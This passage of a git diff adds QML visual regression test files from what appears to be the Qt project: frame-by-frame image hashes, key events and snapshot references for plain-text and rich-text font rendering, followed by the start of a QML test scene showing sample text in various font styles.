Frame { + msec: 256 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 272 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 288 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 304 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 320 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 336 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 352 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 368 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 384 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 400 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 416 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 432 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 448 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 464 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 480 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 496 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 512 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 528 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 544 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 560 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 576 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 592 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 608 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 624 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 640 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 656 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 672 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 688 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 704 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 720 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 736 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 752 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 768 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 784 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 800 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 816 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 832 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 848 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 864 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 880 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 896 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 912 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 928 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 944 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 960 + image: "plaintext.0.png" + } + Frame { + msec: 976 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 992 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1008 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1024 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1040 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1056 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1072 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1088 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1104 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1120 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1136 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1152 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1168 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1184 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1200 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1216 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1232 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1248 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1264 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1280 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1296 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1312 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1328 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } + Frame { + msec: 1344 + hash: "cbf65bcb64a4781b79132b87f98d5fc7" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.png new file mode 100644 index 0000000..6379942 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml new file mode 100644 index 0000000..72499b9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data-MAC/richtext.qml @@ -0,0 +1,359 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 32 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 48 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 64 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 80 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 96 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 112 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 128 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 144 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 160 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 176 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 192 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 208 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 224 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 240 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 256 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 272 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 288 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 304 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 320 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 336 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 352 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 368 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 384 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 400 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 416 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 432 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 448 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 464 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 480 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 496 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 512 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 528 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 544 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 560 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 576 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 592 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 608 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 624 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 640 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 656 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 672 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 688 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 704 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 720 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 736 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 752 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 768 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 784 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 800 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 816 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 832 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 848 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 864 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 880 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 896 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 912 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 928 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 944 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 960 + image: "richtext.0.png" + } + Frame { + msec: 976 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 992 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1008 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1024 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1040 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1056 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1072 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1088 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1104 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1120 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1136 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1152 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Key { + type: 6 + key: 16777249 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1168 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1184 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1200 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1216 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1232 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1248 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1264 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1280 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1296 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1312 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1328 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1344 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1360 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } + Frame { + msec: 1376 + hash: "b902ff73e7c943bb09b5d2ae6c7a760e" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.png new file mode 100644 index 0000000..50d56dc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml new file mode 100644 index 0000000..f4cbcbd --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/plaintext.qml @@ -0,0 +1,351 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 32 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 48 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 64 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 80 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 96 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 112 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 128 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 144 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 160 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 176 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 192 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 208 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 224 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 240 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 256 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 272 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 288 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 304 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 320 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 336 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 352 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 368 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 384 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 400 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 416 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 432 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 448 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 464 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 480 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 496 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 512 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 528 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 544 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 560 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 576 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 592 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 608 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 624 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 640 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 656 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 672 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 688 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 704 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 720 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 736 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 752 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 768 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 784 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 800 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 816 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 832 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 848 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 864 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 880 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 896 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 912 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 928 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 944 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 960 + image: "plaintext.0.png" + } + Frame { + msec: 976 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 992 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1008 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1024 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1040 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1056 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1072 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1088 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1104 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1120 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1136 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1152 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1168 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1184 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1200 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1216 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1232 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1248 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1264 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1280 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1296 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1312 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1328 + hash: "d553014bc56a46787e30459b0f44f57a" + } + Frame { + msec: 1344 + hash: "d553014bc56a46787e30459b0f44f57a" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.png new file mode 100644 index 0000000..2910670 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml new file mode 100644 index 0000000..9f396c2 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/data/richtext.qml @@ -0,0 +1,359 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 32 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 48 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 64 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 80 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 96 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 112 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 128 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 144 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 160 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 176 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 192 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 208 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 224 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 240 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 256 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 272 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 288 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 304 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 320 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 336 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 352 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 368 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 384 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 400 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 416 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 432 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 448 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 464 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 480 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 496 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 512 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 528 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 544 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 560 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 576 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 592 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 608 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 624 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 640 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 656 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 672 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 688 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 704 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 720 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 736 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 752 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 768 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 784 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 800 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 816 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 832 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 848 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 864 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 880 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 896 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 912 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 928 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 944 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 960 + image: "richtext.0.png" + } + Frame { + msec: 976 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 992 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1008 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1024 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1040 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1056 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1072 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1088 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1104 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1120 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1136 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1152 + hash: "dfea78484b840b8cab690e277b960723" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1168 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1184 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1200 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1216 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1232 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1248 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1264 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1280 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1296 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1312 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1328 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1344 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1360 + hash: "dfea78484b840b8cab690e277b960723" + } + Frame { + msec: 1376 + hash: "dfea78484b840b8cab690e277b960723" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml new file mode 100644 index 0000000..a3aa929 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/plaintext.qml @@ -0,0 +1,85 @@ +import Qt 4.6 + +Rectangle { + id: s; width: 800; height: 1000; color: "lightsteelblue" + property string text: "The quick brown fox jumps over the lazy dog." + + Column { + spacing: 10 + Text { + text: s.text + } + Text { + text: s.text; font.pixelSize: 18 + } + Text { + text: s.text; font.pointSize: 25 + } + Text { + text: s.text; color: "red"; smooth: true + } + Text { + text: s.text; font.capitalization: "AllUppercase" + } + Text { + text: s.text; font.underline: true + } + Text { + text: s.text; font.overline: true; smooth: true + } + Text { + text: s.text; font.strikeout: true + } + Text { + text: s.text; font.underline: true; font.overline: true; font.strikeout: true + } + Text { + text: s.text; 